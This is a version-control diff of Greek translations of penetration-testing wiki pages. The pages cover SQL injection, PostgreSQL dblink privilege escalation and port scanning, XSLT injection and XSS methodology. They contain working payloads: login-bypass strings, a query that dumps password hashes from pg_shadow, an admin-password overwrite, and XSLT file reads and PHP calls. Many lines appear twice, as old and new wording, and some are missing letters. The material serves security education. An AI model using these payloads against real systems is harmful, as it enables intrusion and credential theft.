Σε ορισμένες περιπτώσεις οι **λειτουργίες ύπνου δεν θα επιτρέπονται**. Τότε, αντί να χρησιμοποιήσετε αυτές τις λειτουργίες, μπορείτε να κάνετε το ερώτημα **να εκτελεί σύνθετες λειτουργίες** που θα διαρκέσουν αρκετά δευτερόλεπτα. αραδείγματα αυτών των τεχνικών θα σχολιαστούν ξεχωριστά για κάθε τεχνολογία (αν υπάρχουν)_.
Σε ορισμένες περιπτώσεις οι **λειτουργίες ύπνου δεν θα επιτρέπονται**. Τότε, αντί να χρησιμοποιήσετε αυτές τις λειτουργίες, μπορείτε να κάνετε το ερώτημα **να εκτελεί πολύπλοκες λειτουργίες** που θα διαρκέσουν αρκετά δευτερόλεπτα. αραδείγματα αυτών των τεχνικών θα σχολιαστούν ξεχωριστά για κάθε τεχνολογία (αν υπάρχουν)_.
### Αναγνώριση Back-end
Ο καλύτερος τρόπος για να αναγνωρίσετε το back-end είναι να προσπαθήσετε να εκτελέσετε λειτουργίες των διαφόρων back-end. Μπορείτε να χρησιμοποιήσετε τις _**λειτουργίες ύπνου**_ της προηγούμενης ενότητας ή αυτές (πίνακας από [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
Ο καλύτερος τρόπος για να αναγνωρίσετε το back-end είναι να προσπαθήσετε να εκτελέσετε λειτουργίες των διαφόρων back-end. Μπορείτε να χρησιμοποιήσετε τις _**λειτουργίες ύπνου**_ **της προηγούμενης ενότητας** ή αυτές (πίνακας από [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -127,7 +127,7 @@ SQLite
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Επίσης, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, θα μπορούσατε να **εκτυπώσετε την έκδοση της βάσης δεδομένων**.
Επίσης, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, θα μπορούσατε να κάνετε **εκτύπωση της έκδοσης της βάσης δεδομένων**.
> [!NOTE]
> Σε μια συνέχεια, θα συζητήσουμε διάφορες μεθόδους για να εκμεταλλευτούμε διάφορους τύπους SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα.
@ -172,7 +172,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
ρέπει να χρησιμοποιείτε τιμές `null`, καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και στις δύο πλευρές του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση._
ρέπει να χρησιμοποιείτε τιμές `null` καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και στις δύο πλευρές του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση._
### Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών
@ -191,7 +191,7 @@ _Υπάρχει ένας διαφορετικός τρόπος για να αν
## Exploiting Hidden Union Based
Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε ένωση φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής ένεσης βασισμένης σε ένωση**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατραπεί μια τυφλή ένεση σε μια βασισμένη σε ένωση, πρέπει να διακριθεί το ερώτημα εκτέλεσης στο backend.
Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε ένωση φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής ένεσης βασισμένης σε ένωση**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατρέψετε μια τυφλή ένεση σε μια βασισμένη σε ένωση, πρέπει να διακριθεί το ερώτημα εκτέλεσης στο backend.
Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών τυφλής ένεσης μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το Σύστημα Διαχείρισης Βάσεων Δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου.
@ -221,7 +221,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Εκμετάλλευση Χρονικά Βασισμένου SQLi
Σε αυτή την περίπτωση **δεν υπάρχει** κανένας τρόπος να **διακρίνουμε** την **απάντηση** του ερωτήματος με βάση το περιεχόμενο της σελίδας. Ωστόσο, μπορείτε να κάνετε τη σελίδα να **χρειάζεται περισσότερο χρόνο για να φορτώσει** αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση προηγουμένως για να [επιβεβαιώσουμε μια ευπάθεια SQLi](#confirming-with-timing).
Σε αυτή την περίπτωση **δεν υπάρχει** κανένας τρόπος να **διακρίνουμε** την **απάντηση** του ερωτήματος με βάση το περιεχόμενο της σελίδας. Αλλά, μπορείτε να κάνετε τη σελίδα **να χρειάζεται περισσότερο χρόνο για να φορτώσει** αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση πριν για να [επιβεβαιώσουμε μια ευπάθεια SQLi](#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
@ -257,7 +257,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
Ή θα βρείτε **πολλά κόλπα σχετικά με: MySQL, PostgreSQL, Oracle, MSSQL, SQLite και HQL σε** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Παράκαμψη αυθεντικοποίησης
## Παράκαμψη Αυθεντικοποίησης
Λίστα για να προσπαθήσετε να παρακάμψετε τη λειτουργία σύνδεσης:
@ -265,7 +265,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
../login-bypass/sql-login-bypass.md
{{#endref}}
### Παράκαμψη αυθεντικοποίησης με ακατέργαστο hash
### Παράκαμψη Αυθεντικοποίησης με Ακατέργαστο Hash
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
@ -281,15 +281,15 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
**Συνιστώμενη λίστα**:
Πρέπει να χρησιμοποιείτε ως όνομα χρήστη κάθε γραμμή της λίστας και ως κωδικό πάντα: _**Pass1234.**_\
&#xNAN;_(Αυτά τα payloads περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρθηκε στην αρχή αυτής της ενότητας)_
_(Αυτά τα payloads περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρθηκε στην αρχή αυτής της ενότητας)_
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### Παράκαμψη Αυθεντικοποίησης GBK
### GBK Authentication Bypass
ΑΝ το ' είναι διαφυλαγμένο μπορείτε να χρησιμοποιήσετε %A8%27, και όταν το ' διαφυλάσσεται θα δημιουργηθεί: 0xA80x5c0x27 (_╘'_)
ΑΝ το ' διαφεύγει μπορείτε να χρησιμοποιήσετε %A8%27, και όταν το ' διαφύγει θα δημιουργηθεί: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -304,7 +304,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Πολυγλωσσική ένεση (πολυπλαστική)
### Πολυγλωσσική ένεση (πολυπλαίσιο)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
@ -312,7 +312,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
### Modify password of existing object/user
Για να το κάνετε αυτό, θα πρέπει να προσπαθήσετε να **δημιουργήσετε ένα νέο αντικείμενο με το όνομα του "κύριου αντικειμένου"** (πιθανώς **admin** στην περίπτωση χρηστών) τροποποιώντας κάτι:
Για να το κάνετε αυτό, θα πρέπει να προσπαθήσετε να **δημιουργήσετε ένα νέο αντικείμενο με το όνομα "master object"** (πιθανώς **admin** στην περίπτωση χρηστών) τροποποιώντας κάτι:
- Δημιουργήστε χρήστη με το όνομα: **AdMIn** (κεφαλαία & πεζά γράμματα)
- Δημιουργήστε έναν χρήστη με το όνομα: **admin=**
@ -336,11 +336,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
Η ρήτρα `ON DUPLICATE KEY UPDATE` στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που πρέπει να αναλάβει η βάση δεδομένων όταν γίνεται μια προσπάθεια εισαγωγής μιας γραμμής που θα είχε ως αποτέλεσμα μια διπλή τιμή σε έναν UNIQUE δείκτη ή PRIMARY KEY. Το παρακάτω παράδειγμα δείχνει πώς μπορεί να εκμεταλλευτεί αυτή η δυνατότητα για να τροποποιηθεί ο κωδικός πρόσβασης ενός λογαριασμού διαχειριστή:
Η ρήτρα `ON DUPLICATE KEY UPDATE` στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που πρέπει να αναλάβει η βάση δεδομένων όταν γίνεται προσπάθεια εισαγωγής μιας γραμμής που θα είχε ως αποτέλεσμα μια διπλή τιμή σε έναν UNIQUE δείκτη ή PRIMARY KEY. Το παρακάτω παράδειγμα δείχνει πώς μπορεί να εκμεταλλευτεί αυτή η δυνατότητα για να τροποποιηθεί ο κωδικός πρόσβασης ενός λογαριασμού διαχειριστή:
Example Payload Injection:
Ένα payload εισαγωγής μπορεί να κατασκευαστεί ως εξής, όπου δύο γραμμές προσπαθούν να εισαχθούν στον πίνακα `users`. Η πρώτη γραμμή είναι μια παγίδα, και η δεύτερη γραμμή στοχεύει το email ενός υπάρχοντος διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:
Ένα payload εισαγωγής μπορεί να κατασκευαστεί ως εξής, όπου δύο γραμμές προσπαθούν να εισαχθούν στον πίνακα `users`. Η πρώτη γραμμή είναι μια παγίδα, και η δεύτερη γραμμή στοχεύει το υπάρχον email ενός διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
@ -397,7 +397,7 @@ Example:
### No spaces bypass
No Space (%20) - παρακάμψη χρησιμοποιώντας εναλλακτικές κενές θέσεις
No Space (%20) - παρακάμψη χρησιμοποιώντας εναλλακτικές λευκού χώρου
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -424,7 +424,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
```
### Generic Bypasses
Blacklist χρησιμοποιώντας λέξεις-κλειδιά - bypass χρησιμοποιώντας κεφαλαία/μικρά γράμματα
Μαύρη λίστα χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά γράμματα
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#

View File

@ -1,23 +1,23 @@
# Δίκτυο - Privesc, Σαρωτής Θυρών και αποκάλυψη NTLM challenge response
# Δίκτυο - Privesc, Σαρωτής Θερμικών Θυρών και Αποκάλυψη Αντίκτυπου NTLM
{{#include ../../../banners/hacktricks-training.md}}
**Βρείτε** [**περισσότερες πληροφορίες σχετικά με αυτές τις επιθέσεις στο πρωτότυπο έγγραφο**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
Από την **PostgreSQL 9.1**, η εγκατάσταση επιπλέον modules είναι απλή. [Καταχωρημένες επεκτάσεις όπως το `dblink`](https://www.postgresql.org/docs/current/contrib.html) μπορούν να εγκατασταθούν με [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
Από την **PostgreSQL 9.1**, η εγκατάσταση επιπλέον μονάδων είναι απλή. [Καταχωρημένες επεκτάσεις όπως το `dblink`](https://www.postgresql.org/docs/current/contrib.html) μπορούν να εγκατασταθούν με [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
```sql
CREATE EXTENSION dblink;
```
Μόλις φορτώσετε το dblink, θα μπορούσατε να εκτελέσετε μερικά ενδιαφέροντα κόλπα:
Μόλις φορτωθεί το dblink, θα μπορούσατε να εκτελέσετε μερικά ενδιαφέροντα κόλπα:
### Privilege Escalation
Το αρχείο `pg_hba.conf` θα μπορούσε να είναι κακώς διαμορφωμένο **επιτρέποντας συνδέσεις** από **localhost ως οποιοσδήποτε χρήστης** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης. Αυτό το αρχείο μπορεί συνήθως να βρεθεί στο `/etc/postgresql/12/main/pg_hba.conf` και μια κακή διαμόρφωση φαίνεται έτσι:
Το αρχείο `pg_hba.conf` θα μπορούσε να είναι κακώς διαμορφωμένο **επιτρέποντας συνδέσεις** από **localhost ως οποιοσδήποτε χρήστης** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης. Αυτό το αρχείο μπορεί συνήθως να βρεθεί στο `/etc/postgresql/12/main/pg_hba.conf` και μια κακή διαμόρφωση φαίνεται όπως:
```
local all all trust
```
_Σημειώστε ότι αυτή η ρύθμιση χρησιμοποιείται συνήθως για να τροποποιήσει τον κωδικό πρόσβασης ενός χρήστη db όταν ο διαχειριστής τον ξεχνά, οπότε μερικές φορές μπορεί να το βρείτε._\
&#xNAN;_&#x4E; σημειώστε επίσης ότι το αρχείο pg_hba.conf είναι αναγνώσιμο μόνο από τον χρήστη και την ομάδα postgres και εγγράψιμο μόνο από τον χρήστη postgres._
ημειώστε επίσης ότι το αρχείο pg_hba.conf είναι αναγνώσιμο μόνο από τον χρήστη και την ομάδα postgres και εγγράψιμο μόνο από τον χρήστη postgres._
Αυτή η περίπτωση είναι **χρήσιμη αν** έχετε **ήδη** ένα **shell** μέσα στο θύμα, καθώς θα σας επιτρέψει να συνδεθείτε στη βάση δεδομένων postgresql.
@ -26,7 +26,7 @@ _Σημειώστε ότι αυτή η ρύθμιση χρησιμοποιείτ
host all all 127.0.0.1/32 trust
```
Καθώς θα επιτρέπει σε όλους από το localhost να συνδεθούν στη βάση δεδομένων ως οποιοσδήποτε χρήστης.\
Σε αυτή την περίπτωση και αν η **`dblink`** λειτουργία είναι **λειτουργική**, θα μπορούσατε να **ανεβάσετε δικαιώματα** συνδεόμενοι στη βάση δεδομένων μέσω μιας ήδη καθορισμένης σύνδεσης και να αποκτήσετε πρόσβαση σε δεδομένα που δεν θα έπρεπε να έχετε πρόσβαση:
Σε αυτή την περίπτωση και αν η **`dblink`** λειτουργία είναι **λειτουργική**, θα μπορούσατε να **ανεβάσετε δικαιώματα** συνδεόμενοι στη βάση δεδομένων μέσω μιας ήδη καθιερωμένης σύνδεσης και να αποκτήσετε πρόσβαση σε δεδομένα που δεν θα έπρεπε να έχετε πρόσβαση:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -40,9 +40,9 @@ dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
### Σάρωση Θυρών
### Port Scanning
Αξιοποιώντας το `dblink_connect` μπορείτε επίσης να **αναζητήσετε ανοιχτές θύρες**. Αν αυτή η \*\*λειτουργία δεν λειτουργεί, θα πρέπει να προσπαθήσετε να χρησιμοποιήσετε το `dblink_connect_u()`, καθώς η τεκμηρίωση αναφέρει ότι το `dblink_connect_u()` είναι ταυτόσημο με το `dblink_connect()`, εκτός από το ότι θα επιτρέπει σε μη υπερχρήστες να συνδέονται χρησιμοποιώντας οποιαδήποτε μέθοδο πιστοποίησης\_.
Καταχρώντας το `dblink_connect` μπορείτε επίσης να **αναζητήσετε ανοιχτές θύρες**. Αν αυτή η \*\*λειτουργία δεν λειτουργεί, θα πρέπει να προσπαθήσετε να χρησιμοποιήσετε το `dblink_connect_u()`, καθώς η τεκμηρίωση αναφέρει ότι το `dblink_connect_u()` είναι ταυτόσημο με το `dblink_connect()`, εκτός από το ότι θα επιτρέπει στους μη υπερχρήστες να συνδέονται χρησιμοποιώντας οποιαδήποτε μέθοδο αυθεντικοποίησης\_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -69,7 +69,7 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
Σημειώστε ότι **πριν** μπορέσετε να χρησιμοποιήσετε το `dblink_connect` ή το `dblink_connect_u` ίσως χρειαστεί να εκτελέσετε:
Σημειώστε ότι **πριν** μπορέσετε να χρησιμοποιήσετε `dblink_connect` ή `dblink_connect_u` ίσως χρειαστεί να εκτελέσετε:
```
CREATE extension dblink;
```

View File

@ -12,7 +12,7 @@
- **Xalan** από το Apache,
- **Saxon** από το Saxonica.
Για την εκμετάλλευση ευπαθειών που σχετίζονται με το XSLT, είναι απαραίτητο οι ετικέτες xsl να αποθηκεύονται στην πλευρά του διακομιστή, ακολουθούμενες από την πρόσβαση σε αυτό το περιεχόμενο. Ένα παράδειγμα μιας τέτοιας ευπάθειας τεκμηριώνεται στην ακόλουθη πηγή: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
Για την εκμετάλλευση ευπαθειών που σχετίζονται με το XSLT, είναι απαραίτητο τα xsl tags να αποθηκεύονται στην πλευρά του διακομιστή, ακολουθούμενα από την πρόσβαση σε αυτό το περιεχόμενο. Ένα παράδειγμα μιας τέτοιας ευπάθειας τεκμηριώνεται στην παρακάτω πηγή: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
## Example - Tutorial
```bash
@ -77,7 +77,7 @@ Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
</body>
</html>
```
### Δακτυλοσκοπία
### Δακτυλικό αποτύπωμα
```xml:detection.xsl
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
@ -152,7 +152,7 @@ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
- [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
- [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
## Αποτύπωμα
## Δακτυλικό αποτύπωμα
Ανεβάστε αυτό και πάρτε πληροφορίες
```xml
@ -187,7 +187,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
```
## Εισαγωγή Javascript
## Javascript Injection
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
@ -214,7 +214,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
```
### **Επιβεβαίωση (var_dump + scandir + false)**
### **Assert (var_dump + scandir + false)**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
@ -367,10 +367,12 @@ version="1.0">
</xsl:template>
</xsl:stylesheet>
```
(Παράδειγμα από [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
## Περισσότερα Payloads
- Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
- Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
- Έλεγχος [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
- Έλεγχος [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
## **Λίστα Ανίχνευσης Brute-Force**
@ -380,8 +382,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
## **Αναφορές**
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\\
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,27 +4,27 @@
1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, ονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα.
2. **Βρείτε το πλαίσιο** όπου αντανάκλαται/χρησιμοποιείται.
3. Αν **αντανάκλαται**
3. Αν είναι **αντανάκλαση**
1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, προετοιμάστε το payload:
1. Σε **raw HTML**:
1. Σε **ακατέργαστο HTML**:
1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
2. Μπορείτε να χρησιμοποιήσετε γεγονότα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο `javascript:`;
3. Μπορείτε να παρακάμψετε τις προστασίες;
4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πλευράς (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md).
4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πελάτη (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html);
2. Μέσα σε μια **ετικέτα HTML**:
1. Μπορείτε να βγείτε σε raw HTML πλαίσιο;
1. Μπορείτε να βγείτε σε ακατέργαστο HTML πλαίσιο;
2. Μπορείτε να δημιουργήσετε νέα γεγονότα/χαρακτηριστικά για να εκτελέσετε κώδικα JS;
3. Υποστηρίζει το χαρακτηριστικό όπου είστε παγιδευμένοι την εκτέλεση JS;
4. Μπορείτε να παρακάμψετε τις προστασίες;
3. Μέσα σε **κώδικα JavaScript**:
1. Μπορείτε να ξεφύγετε από την ετικέτα `<script>`;
2. Μπορείτε να ξεφύγετε από τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
1. Μπορείτε να διαφύγετε την ετικέτα `<script>`;
2. Μπορείτε να διαφύγετε τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
3. Είναι η είσοδός σας σε template literals \`\`?;
4. Μπορείτε να παρακάμψετε τις προστασίες;
4. Javascript **λειτουργία** που εκτελείται
4. Η **λειτουργία** Javascript εκτελείται
1. Μπορείτε να υποδείξετε το όνομα της λειτουργίας που θα εκτελεστεί. π.χ.: `?callback=alert(1)`
4. Αν **χρησιμοποιείται**:
4. Αν είναι **χρησιμοποιούμενη**:
1. Θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**, προσέξτε πώς ελέγχεται η είσοδός σας και αν η **ελεγχόμενη είσοδός σας χρησιμοποιείται από οποιοδήποτε sink.**
Όταν εργάζεστε σε μια σύνθετη XSS μπορεί να είναι ενδιαφέρον να γνωρίζετε για:
@ -35,29 +35,29 @@ debugging-client-side-js.md
## Reflected values
Για να εκμεταλλευτείτε επιτυχώς μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανάκλαται** στη σελίδα web.
Για να εκμεταλλευτείτε επιτυχώς μια XSS, το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανάκλαται** στη σελίδα web.
- **Ενδιάμεσα αντανάκλαση**: Αν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και του μονοπατιού αντανάκλαται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
- **Αποθηκευμένη και αντανάκλαση**: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανάκλαται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**.
- **Πρόσβαση μέσω JS**: Αν βρείτε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**.
- **Ενδιάμεσα αντανάκλαση**: Αν διαπιστώσετε ότι η τιμή μιας παραμέτρου ή ακόμη και το μονοπάτι αντανάκλαται στη σελίδα web, θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
- **Αποθηκευμένη και αντανάκλαση**: Αν διαπιστώσετε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανάκλαται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα, θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**.
- **Πρόσβαση μέσω JS**: Αν διαπιστώσετε ότι μια τιμή που ελέγχετε προσβάζεται χρησιμοποιώντας JS, θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**.
## Contexts
Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανάκλαται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS, το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανάκλαται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
### Raw HTML
Αν η είσοδός σας είναι **αντανάκλαση στη raw HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **HTML tag** προκειμένου να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
Επίσης, έχετε κατά νου [Client Side Template Injection](../client-side-template-injection-csti.md).
Αν η είσοδός σας είναι **αντανάκλαση στην ακατέργαστη HTML** σελίδα, θα χρειαστεί να εκμεταλλευτείτε κάποια **HTML tag** για να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
Επίσης, έχετε υπόψη σας την [Client Side Template Injection](../client-side-template-injection-csti.md).
### Μέσα σε χαρακτηριστικά ετικετών HTML
### Inside HTML tags attribute
Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να δοκιμάσετε:
Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας, θα μπορούσατε να δοκιμάσετε:
1. Να **ξεφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στη raw HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]`
